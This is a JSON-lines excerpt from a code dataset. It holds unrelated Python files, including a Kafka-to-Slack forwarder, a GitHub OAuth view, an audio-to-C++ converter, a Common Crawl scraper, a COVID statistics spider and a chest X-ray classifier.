'callback_query': on_callback_query})\nprint('Listening ...')\n\nwhile 1:\n time.sleep(10)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3456,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"31771014","text":"#!/usr/bin/python\n\nfrom kafka import KafkaConsumer\nfrom slacker import Slacker\n\n\nKAFKA_SERVER = 'x.x.x.x:y'\nSLACK_API_KEY = 'x'\nSLACK_CHANNEL = '#x'\n\n\ndef post_to_slack(slack_message):\n slack = Slacker(SLACK_API_KEY)\n slack.chat.post_message(SLACK_CHANNEL, slack_message)\n\n\ndef main():\n # consume latest messages and auto-commit offsets\n consumer = KafkaConsumer('quagga-bgp',\n group_id='linops-controller.py',\n bootstrap_servers=[KAFKA_SERVER])\n for message in consumer:\n post_to_slack(str(message.value))\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"linops-controller.py","file_name":"linops-controller.py","file_ext":"py","file_size_in_byte":625,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"602608398","text":"from django.shortcuts import render\n\nfrom rest_framework.decorators import api_view\nfrom rest_framework.response import Response\n# Create your views here.\n\nimport requests\nfrom git_gg.settings import CLIENT_ID, CLIENT_SECRET\n\n\n@api_view(['GET'])\ndef get_code(request):\n\tcode = \"\"\n\tif 'code' in request.GET:\n\t\tcode = request.GET['code']\n\n\tgithub_url = 'https://github.com/login/oauth/access_token'\n\tparams = {}\n\tparams['client_id'] = CLIENT_ID\n\tparams['client_secret'] = CLIENT_SECRET\n\tparams['code'] = code\n\tresponse = requests.post(github_url, params=params)\n\tresponse = response.text.split('&')\n\tresponse_dict = {}\n\tfor r in response:\n\t\ts = r.split('=')\n\t\tresponse_dict[s[0]] = s[1]\n\tstatus = 200\n\tif 'error' in response_dict:\n\t\tstatus = 400\n\treturn Response(response_dict, status=status)\n","sub_path":"auth/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":791,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"362599299","text":"import math\n\n\ndef check_fermat(a, b, c, n):\n\n formula = (str(a) + '**' + str(n) + '+' + str(b) + '**' + str(n) + '=' + str(c) + '**' + str(n))\n print(formula)\n formula = str(int(math.pow(a, n))) + '+' + str(int(math.pow(b, n))) + '=' + str(int(math.pow(c, n)))\n print(formula)\n\n if n > 2 and math.pow(a, n) + math.pow(b, n) == math.pow(c, n):\n print('Holy smokes, Fermat was wrong!')\n else:\n print('No, that doesn’t work.')\n\n\ndef main():\n\n a = input('a:')\n b = input('b:')\n c = input('c:')\n n = input('n:')\n\n check_fermat(int(a), int(b), int(c), int(n))\n\n\nmain()","sub_path":"BUCI057N0/session_2/worksheet023_fermat_in.py","file_name":"worksheet023_fermat_in.py","file_ext":"py","file_size_in_byte":611,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"489461253","text":"# The confidential and proprietary information contained in this file may\n# only be used by a person authorised under and to the extent permitted\n# by a subsisting licensing agreement from ARM Limited or its affiliates.\n#\n# (C) COPYRIGHT 2020 ARM Limited or its affiliates.\n# ALL RIGHTS RESERVED\n#\n# This entire notice must be reproduced on all copies of this file\n# and copies of this file may only be made by a person if such person is\n# permitted to do so under the terms of a subsisting license agreement\n# from ARM Limited or its affiliates.\n\n\"\"\"\nUtility script to convert a set of audio clip in a given location into\ncorresponding cpp files and a single hpp file referencing the vectors\nfrom the cpp files.\n\"\"\"\nimport glob\nimport numpy as np\nfrom os import path\nfrom argparse import ArgumentParser\n\nfrom gen_utils import write_license_header, write_autogen_comment, write_includes, write_hex_array, prepare_audio_clip\n\nparser = ArgumentParser()\nparser.add_argument(\"--audio_folder_path\", type=str, help=\"path to audio folder to convert.\")\nparser.add_argument(\"--source_folder_path\", type=str, help=\"path to source folder to be generated.\")\nparser.add_argument(\"--header_folder_path\", type=str, help=\"path to header folder to be generated.\")\nparser.add_argument(\"--sampling_rate\", type=int, help=\"target sampling rate.\", default=16000)\nparser.add_argument(\"--mono\", type=bool, help=\"convert signal to mono.\", default=True)\nparser.add_argument(\"--offset\", type=float, help=\"start reading after this time (in seconds).\", default=0)\nparser.add_argument(\"--duration\", type=float, help=\"only load up to this much audio (in seconds).\", default=0)\nparser.add_argument(\"--res_type\", type=str, help=\"Resample type.\", default='kaiser_best')\nparser.add_argument(\"--min_samples\", type=int, help=\"Minimum sample number.\", default=16000)\nparser.add_argument(\"--license_template\", type=str, help=\"Path to the header template file\",\n default=path.join(path.dirname(path.realpath(__file__)),\"header_template.txt\"))\nparser.add_argument(\"-v\", \"--verbosity\", action=\"store_true\")\nargs = parser.parse_args()\n\n\ndef write_hpp_file(header_file_path, header_template_file, num_audios, audio_filenames,\n audio_array_namesizes):\n\n with open(header_file_path, \"w\") as f:\n write_license_header(f, header_template_file)\n write_autogen_comment(f, path.basename(__file__), path.basename(header_file_path))\n\n header_guard = \"\\n#ifndef GENERATED_AUDIOCLIPS_H\\n#define GENERATED_AUDIOCLIPS_H\\n\\n\"\n f.write(header_guard)\n\n write_includes(f, [''])\n\n define_number_audios = \"\\n#define NUMBER_OF_AUDIOCLIPS (\"+ str(num_audios) +\"U)\\n\"\n f.write(define_number_audios)\n\n start_filenames_vector = \"static const char *audio_clip_filenames[] = {\"\n f.write(start_filenames_vector)\n\n files_list = ['\\n \"' + item + '\"' for item in audio_filenames]\n filenames_list = ', '.join(files_list)\n f.write(filenames_list)\n\n f.write('\\n};\\n\\n')\n\n extern_declarations = [f\"extern const int16_t {arr_name[0]}[{arr_name[1]}];\\n\" for arr_name in audio_array_namesizes]\n f.writelines(extern_declarations)\n f.write('\\n')\n\n imgarr_names_vector = 'static const int16_t *audio_clip_arrays[] = {\\n ' +\\\n (',\\n ').join(f\"{arr_name[0]}\" for arr_name in audio_array_namesizes) + '\\n};\\n\\n'\n f.write(imgarr_names_vector)\n\n end_header_guard = \"\\n#endif // GENERATED_AUDIOCLIPS_H\\n\"\n f.write(end_header_guard)\n\n\ndef write_cc_file(clip_filename, cc_filename, headerfiles, header_template_file, array_name,\n sampling_rate_value, mono_value, offset_value, duration_value, res_type_value, min_len):\n print(f\"++ Converting {clip_filename} to {path.basename(cc_filename)}\")\n\n with open(cc_filename, \"w\") as f:\n # Write the headers string, note\n write_license_header(f, header_template_file)\n write_autogen_comment(f, path.basename(__file__), path.basename(clip_filename))\n write_includes(f, headerfiles)\n\n clip_data, samplerate = prepare_audio_clip(path.join(args.audio_folder_path,clip_filename),sampling_rate_value, mono_value, offset_value, duration_value, res_type_value, min_len)\n clip_data = (((clip_data+1)/2)*(2**16-1)-2**15).flatten().astype(np.int16)\n\n # Convert the audio and write it to the cc file\n feature_vec_define = f\"const int16_t {array_name} [{len(clip_data)}] IFM_BUF_ATTRIBUTE = \"\n f.write(feature_vec_define)\n write_hex_array(f, clip_data)\n return len(clip_data)\n\n\ndef main(args):\n # Keep the count of the audio files converted\n audioclip_idx = 0\n audioclip_filenames = []\n audioclip_array_names = []\n header_filename = \"AudioClips.hpp\"\n headerfiles_to_inc = [f'\"{header_filename}\"',\n '\"BufAttributes.hpp\"',\n '']\n header_filepath = path.join(args.header_folder_path, header_filename)\n\n for filepath in sorted(glob.glob(path.join(args.audio_folder_path, '**/*.wav'), recursive=True)):\n filename = path.basename(filepath)\n try:\n audioclip_filenames.append(filename)\n\n # Save the cc file\n cc_filename = path.join(args.source_folder_path,\n (filename.rsplit(\".\")[0]).replace(\" \",\"_\")+\".cc\")\n array_name = \"audio\" + str(audioclip_idx)\n array_size = write_cc_file(filename, cc_filename, headerfiles_to_inc, args.license_template, array_name,\n args.sampling_rate, args.mono, args.offset,\n args.duration, args.res_type, args.min_samples)\n\n audioclip_array_names.append([array_name,array_size])\n # Increment audio index\n audioclip_idx = audioclip_idx + 1\n except:\n if args.verbosity:\n print(f\"Failed to open {filename} as an audio.\")\n\n write_hpp_file(header_filepath, args.license_template, audioclip_idx, audioclip_filenames, audioclip_array_names)\n\n\nif __name__ == '__main__':\n main(args)\n","sub_path":"docker/tensorflow-lite-corstone-fvp/software/resources/gen_scripts/gen_audio_cpp.py","file_name":"gen_audio_cpp.py","file_ext":"py","file_size_in_byte":6147,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"252870308","text":"#!/usr/bin/env python\n\nfrom setuptools import setup, find_packages\n\n_VERSION = '0.0.1'\n\nsetup(\n name = 'PyZBlog',\n version = _VERSION,\n url = 'https://github.com/xsecure/PyZBlog/',\n project_urls = {},\n description = 'A python libary for Z-Blog',\n packages = find_packages(exclude=[]),\n install_requires = [\n 'pymysql>=0.9.3'\n ],\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":362,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"294442753","text":"import multiprocessing\nfrom queue import Queue\n\nimport requests\nimport json\nimport sys\nimport imp\nimport zlib\n\nfrom urllib.parse import urlparse\n\nfrom commoncrawl.Downloader import Downloader\nfrom helpers import FileHelper\n\nINDEX = \"2016-07\"\nBASEURL = 'https://aws-publicdatasets.s3.amazonaws.com/'\nINDEXURL = 'common-crawl/cc-index/collections/CC-MAIN-%s/indexes/' % INDEX\n\n\n# INDEX = sys.argv[0]\n\nclass CommonCrawl:\n def __init__(self):\n imp.reload(sys)\n self.domain = '.nl'\n self.threads = []\n self.queue = Queue()\n\n def start(self):\n print(\"---------- CommonCrawl Starting ----------\")\n\n self.search_commoncrawl()\n self.download_found()\n\n self.end()\n\n def end(self):\n print(\"---------- CommonCrawl Ending ----------\")\n\n from ml.ML import ML\n\n ml = ML(False)\n ml.start()\n\n \"\"\"Searches the Common Crawl Index for a specified domain.\"\"\"\n\n def search_commoncrawl(self):\n record_list = set()\n\n for j in range(1):\n unconsumed_text = ''\n filename = 'cdx-%05d.gz' % 260\n cc_url = BASEURL + INDEXURL + filename\n\n print(\"Trying archive %s\" % cc_url)\n # CsvHelper.write_index(cc_url)\n\n response = requests.get(cc_url, stream=True)\n decompressor = zlib.decompressobj(16 + zlib.MAX_WBITS)\n\n i = 0\n for chunk in response.iter_content(chunk_size=2048):\n i += 1\n if i % 20000 == 0:\n print(\"Iteration: %s\" % i)\n if len(decompressor.unused_data) > 0:\n # restart decompressor if end of a chunk\n to_decompress = decompressor.unused_data + chunk\n decompressor = zlib.decompressobj(16 + zlib.MAX_WBITS)\n else:\n to_decompress = decompressor.unconsumed_tail + chunk\n s = unconsumed_text + decompressor.decompress(to_decompress).decode('utf-8')\n unconsumed_text = ''\n\n for l in s.split('\\n'):\n pieces = l.split(' ')\n if len(pieces) < 3 or l[-1] != '}':\n unconsumed_text = l\n else:\n json_string = ' '.join(pieces[2:])\n try:\n rec = json.loads(json_string)\n url = get_base_url(rec)\n\n if url.endswith('.nl') and url not in record_list:\n print(url)\n record_list.add(url)\n except:\n print('JSON load failed: ')\n assert False\n\n print(\"Done searching, found %d urls\" % len(record_list))\n FileHelper.write_file('urls.txt', sorted(record_list))\n print(\"Done writing to file\")\n\n \"\"\"\"Downloading all the found urls\"\"\"\n\n def download_found(self):\n # Put all the found urls into a queue for the threads to read from\n self.queue = Queue()\n [self.queue.put(url) for url in FileHelper.read_file('urls.txt')]\n\n # Create the threads and wait for them to finish\n self.create_threads()\n\n for t in self.threads:\n t.join()\n\n \"\"\"\"Create a number of threads based on the host available amount of threads.\n These threads run an instance of the Downloader class\"\"\"\n\n def create_threads(self):\n # Creates threads and add them to a list.\n for i in range(1, multiprocessing.cpu_count()):\n name = \"Thread-%s\" % i\n thread = Downloader(name, INDEX, self.queue)\n thread.start()\n self.threads.append(thread)\n\n\n\"\"\"Get the base URL from the record\"\"\"\n\n\ndef get_base_url(record):\n url = record['url']\n location = 'http://' + urlparse(url).netloc\n\n return location\n\n\n\"\"\"\"Start the program\"\"\"\ncc = CommonCrawl()\ncc.start()\n","sub_path":"src/commoncrawl/CommonCrawl.py","file_name":"CommonCrawl.py","file_ext":"py","file_size_in_byte":3987,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"508823042","text":"import scrapy\nimport logging\nfrom covid19.items import TestingStats\nimport requests\nimport json\nfrom datetime import datetime as dt\nfrom dateutil.parser import parse\n\nclass OregonSpider( scrapy.Spider ) :\n\n name = \"oregon\"\n allowed_domains = [\"https://www.oregon.gov/\"]\n obj = [\"Oregon\"]\n case_categories = [\"positive\", \"negative\", \"pending\" ]\n names = [\"Oregon\" ]\n custom_settings = { \"LOG_LEVEL\" : logging.ERROR }\n\n\n def start_requests( self ):\n yield scrapy.Request( \"https://www.oregon.gov/oha/PH/DISEASESCONDITIONS/DISEASESAZ/Pages/emerging-respiratory-infections.aspx\", callback=self.parse )\n\n def parse( self, response ):\n item = TestingStats()\n item_dict = { \"name\" : self.names[0] }\n\n results = response.xpath( '/html/body/div[1]/div[6]/div/div[1]/div[2]/div/table' )\n\n for i, row in enumerate( results.xpath( \"tbody/tr\" )[0:3] ):\n if i == 0:\n value = row.xpath( 'td[2]/b/text()' ).get()\n else:\n value = row.xpath( \"td[2]/text()\" ).get()\n print( value )\n value = value.replace( ',', '' )\n item_dict[self.case_categories[i]] = int( value )\n\n deaths = response.xpath( '/html/body/div/div[6]/div/div[2]/div[2]/div/table[1]/tbody/tr[15]/td[3]/b/text()' ).get()\n item_dict[\"deaths\"] = deaths\n\n date = results.xpath( 'thead/tr/th/text()' ).get()\n date = parse( date, fuzzy=True )\n item[\"date\"] = date.strftime( \"%Y-%m-%d %H:%M %p\" )\n\n print( item_dict )\n\n for i in item_dict.keys():\n item[i] = item_dict[i]\n\n print( item.toAsciiTable() )\n return item","sub_path":"covid19/spiders/usa/oregon.py","file_name":"oregon.py","file_ext":"py","file_size_in_byte":1671,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"381635868","text":"import os\nimport subprocess as SP\n\ntry:\n import ectest.log as LOG\nexcept:\n import log as LOG\n\nCurrPath = os.path.join(os.path.abspath(os.getcwd()))\n\ndef shell(cmd, cwd=None, logfile=None, silent=False, DEBUG=False):\n realcmd = cmd\n if DEBUG:\n realcmd = \"echo \\\"%s\\\"\" % cmd\n result = None\n retval = 0\n\n if cwd != None:\n os.chdir(cwd)\n try:\n result = SP.check_output(realcmd, shell = True).splitlines()\n except SP.CalledProcessError as ecp:\n if not silent:\n LOG.Error(\"ERROR: failed to run \\\"%s\\\": returned %s\" % (cmd, ecp.returncode))\n LOG.print_error(ecp.output.splitlines())\n retval = ecp.returncode\n retlog = ecp.output.splitlines()\n except Exception as error:\n if not silent:\n LOG.Error(\"ERROR: failed to run \\\"%s\\\": %s\" % (cmd, error))\n retval = -1\n\n result_str = []\n if result:\n for l in result:\n if isinstance(l, bytes):\n result_str.append(l.decode(encoding=\"utf-8\", errors=\"strict\"))\n else:\n result_str = result\n break\n\n if logfile != None:\n with open(logfile, \"w\") as f:\n for l in result_str:\n f.write(l)\n f.write(\"\\n\")\n if cwd != None:\n os.chdir(CurrPath)\n\n return retval, result_str\n\nclass stoppable_task():\n cmd = None\n cwd = None\n running_process = None\n stop_event = None\n stdout = None\n stderr = None\n filename = None\n logfile = None\n\n def __init__(self, cmd, stop_event, cwd=None, filename=None):\n self.cmd = cmd\n if cwd:\n self.cwd = cwd\n self.stop_event = stop_event\n\n if filename:\n self.filename = filename\n self.logfile = open(self.filename, \"a\")\n self.stdout = self.logfile\n self.stderr = self.logfile\n else:\n self.stdout = SP.PIPE\n self.stderr = SP.PIPE\n\n self.running_process = SP.Popen(\n cmd.split(),\n cwd=cwd,\n stdout=self.stdout,\n stderr=self.stderr)\n\n def wait(self):\n if not self.running_process or not self.stop_event:\n return -1, [\"Error to launch the cmd %s\" % self.cmd]\n\n while self.running_process.poll() == None and not self.stop_event.is_set():\n self.stop_event.wait(timeout=5)\n if self.stop_event.is_set():\n try:\n self.running_process.terminate()\n except:\n pass\n\n returncode = self.running_process.poll()\n if self.filename:\n self.logfile.flush()\n self.logfile.close()\n return returncode, []\n else:\n (stdoutdata, stderrdata) = self.running_process.communicate()\n return returncode, stdoutdata\n","sub_path":"deployment/autodeploy/ectest/cmd.py","file_name":"cmd.py","file_ext":"py","file_size_in_byte":2853,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"478331447","text":"f = open(\"æfing2.txt\",'r',encoding = 'utf-8')\ninnihald = f.read()\nf.close()\nprint(innihald)\n\nlisti=list(innihald)\nx=' '\nfor x in listi:\n listi.remove(' ')\nlisti = list(map(int, listi))\nmedaltal=sum(listi)/len(listi)\nprint(round(medaltal,2))","sub_path":"Forritun/Gagnasafnsfræði/æfing2.2.py","file_name":"æfing2.2.py","file_ext":"py","file_size_in_byte":244,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"142042091","text":"class student:\n def __init__(self, fullname, age, grade):\n self.fullname=fullname\n self.age=age\n self.grade=grade\n def belongs(self):\n if self.age==15:\n print(\"proti likeiou\")\n elif self.age==16:\n print(\"deutera likeiou\")\n elif self.age==17:\n print(\"triti likeiou\")\n\nomiros=student(input(\"dose to onoma\"),int(input(\"dose tin ilikia\")),int(input(\"dose tin taksi\")))\n\nprint(omiros.age)\nprint(omiros.fullname)\nprint(omiros.grade)\nomiros.belongs()\n","sub_path":"9_7_2019 class 1.py","file_name":"9_7_2019 class 1.py","file_ext":"py","file_size_in_byte":527,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"320560951","text":"__author__ = 'liubov'\nfrom lxml import etree\n\n\ntree = etree.parse('morinaU')\nroot1 = tree.getroot()\n\nfor element in root1.iter('ingredient'):\n attr_val = element.get('amount')\n attribute_list = attr_val.split(',')\n\n for attrib in attribute_list:\n sub_elem = etree.SubElement(element, 'specis')\n specis = sub_elem.text =''\n\noutput = etree.tostring(root1, pretty_print=True)\nprint(output.decode().encode())\nf = open('morinaU1', 'w')\nf.write(output.decode())\nprint(output.decode())\nf.close()\n","sub_path":"Bazanova_Lyubov/Bazanova_Lyubov2.py","file_name":"Bazanova_Lyubov2.py","file_ext":"py","file_size_in_byte":512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"615053300","text":"##############################################################################\n# server-python.py\n# Name:\n# NetId:\n###############################################################################\n\nimport sys\nimport socket\nimport queue\n\nRECV_BUFFER_SIZE = 2048\nQUEUE_LENGTH = 1\n\n\ndef server(server_port):\n #print('Listening on port {}'.format(server_port))\n myQueue = queue.Queue(QUEUE_LENGTH)\n with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\n s.bind(('', server_port))\n s.listen()\n while True:\n conn, addr = s.accept()\n myQueue.put((conn, addr))\n\n # Process connection queue \n if myQueue.full():\n #print('Processing conn...')\n while not myQueue.empty():\n conn, addr = myQueue.get()\n #print(f'Connected by {addr}')\n res = \"\"\n while True:\n data = conn.recv(RECV_BUFFER_SIZE)\n if not data:\n break\n res += data.decode()\n print(res)\n \n else:\n #print('Queue size:', myQueue.qsize())\n pass\n \n\ndef main():\n \"\"\"Parse command-line argument and call server function \"\"\"\n if len(sys.argv) != 2:\n sys.exit(\"Usage: python server-python.py [Server Port]\")\n server_port = int(sys.argv[1])\n server(server_port)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"assignments/assignment1/client_server/server-python.py","file_name":"server-python.py","file_ext":"py","file_size_in_byte":1539,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"412568144","text":"import numpy as np\r\nimport pandas as pd\r\nfrom matplotlib import pyplot as plt\r\nfrom skimage.feature import hog, greycomatrix, greycoprops\r\nimport cv2, pathlib\r\nfrom sklearn import svm, tree, ensemble, linear_model\r\nfrom sklearn.preprocessing import MinMaxScaler\r\nfrom sklearn.model_selection import train_test_split,GridSearchCV\r\nfrom sklearn.metrics import classification_report,confusion_matrix,roc_curve\r\n\r\nfiles_path = 'resimler/COVID_DATASET/'\r\nfiles_path = pathlib.Path(files_path)\r\nimages_dict = {\r\n 'covid': list(files_path.glob('COVID/*')),\r\n 'pneumonia': list(files_path.glob('PNEUMONIA/*')),\r\n\r\n}\r\n\r\n\r\nlabels_dict = {\r\n 'covid': 0,\r\n 'pneumonia': 1,\r\n}\r\n\r\nIMAGE_SHAPE = (224, 224)\r\nX, y = [], []\r\nfor name, images in images_dict.items():\r\n for image in images:\r\n img = cv2.imread(str(image), 1)\r\n resized_img = cv2.resize(img, dsize=IMAGE_SHAPE)\r\n blurred_img = cv2.GaussianBlur(resized_img, ksize=(3, 3), sigmaX=0.5, sigmaY=0.7,\r\n borderType=cv2.BORDER_CONSTANT)\r\n hsv_img = cv2.cvtColor(blurred_img, cv2.COLOR_BGR2HSV)\r\n h, s, v = hsv_img[:, :, 0], hsv_img[:, :, 1], hsv_img[:, :, 2]\r\n value = 10\r\n limit = 255 - value\r\n v[v > limit] = 255\r\n v[v <= limit] += value\r\n hsv_img_new = cv2.merge((h, s, v))\r\n img_brightness = cv2.cvtColor(hsv_img_new, cv2.COLOR_HSV2RGB)\r\n img_brightness_gray = cv2.cvtColor(img_brightness, cv2.COLOR_RGB2GRAY)\r\n clahe = cv2.createCLAHE(clipLimit=1.5, tileGridSize=(8, 8))\r\n img_hist_gray = clahe.apply(img_brightness_gray)\r\n X.append(img_hist_gray)\r\n y.append(labels_dict[name])\r\n\r\ndataset = pd.DataFrame()\r\nfor image in X:\r\n df = pd.DataFrame()\r\n i = 0\r\n glcm_features = ['energy','correlation','homogeneity','contrast']\r\n for distance in np.arange(1,6,2):\r\n for angle in np.arange(0,(3*np.pi/4)+0.1,np.pi/4):\r\n i += 1\r\n for feature in glcm_features:\r\n GLCM = greycomatrix(image,[distance],[angle])\r\n df['GLCM_{}_{}'.format(feature,i)] = greycoprops(GLCM, prop=feature)[0]\r\n\r\n fd, hog_image = hog(image, orientations=8, pixels_per_cell=(16, 16),cells_per_block=(1, 1), visualize=True)\r\n df['HOG_mean'] = np.mean(fd)\r\n df['HOG_std'] = np.std(fd)\r\n\r\n ksize = 5\r\n psi = 0\r\n j = 0\r\n for theta in np.arange(np.pi / 4, 2 * np.pi, np.pi / 4):\r\n for sigma in (1, 3, 5, 7):\r\n for lamda in (np.pi / 4, np.pi, np.pi / 4):\r\n for gamma in (0.5, 0.9):\r\n kernel = cv2.getGaborKernel((ksize, ksize), sigma, theta, lamda, gamma, psi)\r\n fimg = cv2.filter2D(image, cv2.CV_8UC3, kernel)\r\n fimg_mean = np.mean(fimg)\r\n df['Gabor_{}'.format(j+1)] = fimg_mean\r\n j += 1\r\n\r\n\r\n dataset = dataset.append(df)\r\n\r\nscaler = MinMaxScaler()\r\nscaler.fit(dataset)\r\ndataset = scaler.transform(dataset)\r\n\r\nX_train, X_test, y_train, y_test = train_test_split(dataset,y,test_size=0.2,random_state=42)\r\n\r\nmodel_params = {\r\n 'Support Vector Machines': {\r\n 'model':svm.SVC(gamma='auto'),\r\n 'params': {\r\n 'C':[1,10,20,30],\r\n 'kernel':['linear','rbf']\r\n }\r\n },\r\n 'Random Forest': {\r\n 'model':ensemble.RandomForestClassifier(),\r\n 'params': {\r\n 'n_estimators': [10,30,50,100],\r\n 'criterion': ['gini','entropy']\r\n }\r\n },\r\n 'Decision Tree': {\r\n 'model': tree.DecisionTreeClassifier(),\r\n 'params': {\r\n 'criterion': ['gini', 'entropy']\r\n }\r\n },\r\n 'Logistic Regression': {\r\n 'model': linear_model.LogisticRegression(solver='liblinear'),\r\n 'params': {\r\n 'C': [1, 10, 20, 30]\r\n }\r\n }\r\n}\r\n\r\n# 115-163 satırları arası tablo oluşturmak için.\r\n\r\ndf_results = pd.DataFrame()\r\nbest_scores = []\r\nfor model_name, mp in model_params.items():\r\n clf = GridSearchCV(mp['model'],mp['params'],cv=5)\r\n clf.fit(X_train,y_train)\r\n best_scores.append({\r\n 'model':clf.best_estimator_,\r\n 'best_score':clf.best_score_,\r\n 'best_params':clf.best_params_\r\n })\r\n clf_result = pd.DataFrame(clf.cv_results_)\r\n clf_result['Model Adı'] = model_name\r\n df_results = df_results.append(clf_result)\r\n\r\ndf_best_results = pd.DataFrame(best_scores)\r\n\r\n\r\ndf_final_results = pd.DataFrame()\r\nfor model_name in model_params:\r\n df_results_model = df_results[df_results['Model Adı'] == model_name]\r\n label_names = ['Covid_Precision', 'Covid_Recall', 'Covid_F1-score',\r\n 'Pneumonia_Precision', 'Pneumonia_Recall', 'Pneumonia_F1-score']\r\n\r\n test_scores = []\r\n cr_s = {}\r\n m = 0\r\n\r\n if model_name == 'Support Vector Machines':\r\n for i,j in zip(df_results_model['param_C'],df_results_model['param_kernel']):\r\n model = svm.SVC(C=i,kernel=j,gamma='auto')\r\n model.fit(X_train,y_train)\r\n score = model.score(X_test, y_test)\r\n test_scores.append(score)\r\n y_pred = model.predict(X_test)\r\n cr = classification_report(y_test, y_pred, output_dict=True, zero_division=0)\r\n cr_s[str(m)] = np.array(list(\r\n map(lambda k: [cr[str(k)]['precision'], cr[str(k)]['recall'], cr[str(k)]['f1-score']],\r\n range(0, 2)))).flatten()\r\n m += 1\r\n\r\n df_results_model['Test Doğruluk'] = test_scores\r\n\r\n elif model_name == 'Random Forest':\r\n for i, j in zip(df_results_model['param_n_estimators'], df_results_model['param_criterion']):\r\n model = ensemble.RandomForestClassifier(n_estimators=i,criterion=j)\r\n model.fit(X_train, y_train)\r\n score = model.score(X_test, y_test)\r\n test_scores.append(score)\r\n y_pred = model.predict(X_test)\r\n cr = classification_report(y_test, y_pred, output_dict=True, zero_division=0)\r\n cr_s[str(m)] = np.array(list(\r\n map(lambda k: [cr[str(k)]['precision'], cr[str(k)]['recall'], cr[str(k)]['f1-score']],\r\n range(0, 2)))).flatten()\r\n m += 1\r\n\r\n df_results_model['Test Doğruluk'] = test_scores\r\n\r\n elif model_name == 'Decision Tree':\r\n for i in (df_results_model['param_criterion']):\r\n model = tree.DecisionTreeClassifier(criterion=i)\r\n model.fit(X_train, y_train)\r\n score = model.score(X_test, y_test)\r\n test_scores.append(score)\r\n y_pred = model.predict(X_test)\r\n cr = classification_report(y_test, y_pred, output_dict=True, zero_division=0)\r\n cr_s[str(m)] = np.array(list(\r\n map(lambda k: [cr[str(k)]['precision'], cr[str(k)]['recall'], cr[str(k)]['f1-score']],\r\n range(0, 2)))).flatten()\r\n m += 1\r\n\r\n df_results_model['Test Doğruluk'] = test_scores\r\n\r\n else:\r\n for i in (df_results_model['param_C']):\r\n model = linear_model.LogisticRegression(C=i,solver='liblinear')\r\n model.fit(X_train, y_train)\r\n score = model.score(X_test, y_test)\r\n test_scores.append(score)\r\n y_pred = model.predict(X_test)\r\n cr = classification_report(y_test, y_pred, output_dict=True, zero_division=0)\r\n cr_s[str(m)] = np.array(list(map(lambda k: [cr[str(k)]['precision'], cr[str(k)]['recall'], cr[str(k)]['f1-score']],range(0, 2)))).flatten()\r\n m += 1\r\n\r\n df_results_model['Test Doğruluk'] = test_scores\r\n\r\n for i in range(len(label_names)):\r\n column_vals = []\r\n for j in range(df_results_model.shape[0]):\r\n column_val = cr_s[str(j)][i]\r\n column_vals.append(column_val)\r\n df_results_model[label_names[i]] = column_vals\r\n\r\n df_final_results = df_final_results.append(df_results_model)\r\n\r\ndf_final_results2 = df_final_results.loc[:,'Model Adı':'Pneumonia_F1-score'].drop(['param_criterion','param_n_estimators'],axis='columns')\r\ndf_final_results2.insert(1,column='Parametreler',value=df_final_results['params'])\r\ndf_final_results2.insert(2,column='Eğitim Doğruluk',value=df_final_results['mean_test_score'])\r\ndf_final_results2.to_excel('Covid_vs_Pneumonia.xlsx')\r\n\r\nbest_model_df = df_final_results2[df_final_results2['Test Doğruluk'] == np.max(df_final_results2['Test Doğruluk'])]\r\n\r\nbest_model = ensemble.RandomForestClassifier(criterion='entropy',n_estimators=50)\r\nbest_model.fit(X_train,y_train)\r\ny_pred_best = best_model.predict(X_test)\r\n\r\n# Confusion Matrix\r\ncm = confusion_matrix(y_test,y_pred_best)\r\ndf_cm = pd.DataFrame(cm,index=['Covid-19','Zatürre'],columns=['Covid-19','Zatürre'])\r\nimport seaborn as sns\r\nsns.heatmap(df_cm, annot=True, fmt='d')\r\nplt.title('Karışıklık Matrisi', fontsize=20)\r\nplt.xlabel('Tahmin', fontsize=15)\r\nplt.ylabel('Gerçek', fontsize=15)\r\nplt.tight_layout()\r\nplt.show()\r\n\r\n\r\nfpr,tpr,_ = roc_curve(y_test,y_pred_best)\r\nplt.figure(figsize=(16,9))\r\nplt.plot(fpr,tpr)\r\nplt.xlim([0, 1])\r\nplt.ylim([0, 1])\r\nplt.title('ROC Eğrisi', fontsize=20)\r\nplt.xlabel('Yalancı Pozitif Oranı', fontsize=15)\r\nplt.ylabel('Doğru Pozitif Oranı', fontsize=15)\r\nplt.show()","sub_path":"with Machine Learning/COVID-19_detection_ml(Covid_vs_Pneumonia).py","file_name":"COVID-19_detection_ml(Covid_vs_Pneumonia).py","file_ext":"py","file_size_in_byte":9237,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"256876081","text":"# imgcode v0.4 27/07/2020\n# utility for CNC lasers image etching\n# developed by M. \"Vidmo\" Widomski \n# github.com/vidmo91\n# hackaday.io/vidmo91\n# \n# this version is intended for use with grbl 1.1 in laser mode\n#\n# correct execution command: python imgcode.py image_path output_file_path x_offset_mm y_offset_mm output_image_horizontal_size_mm 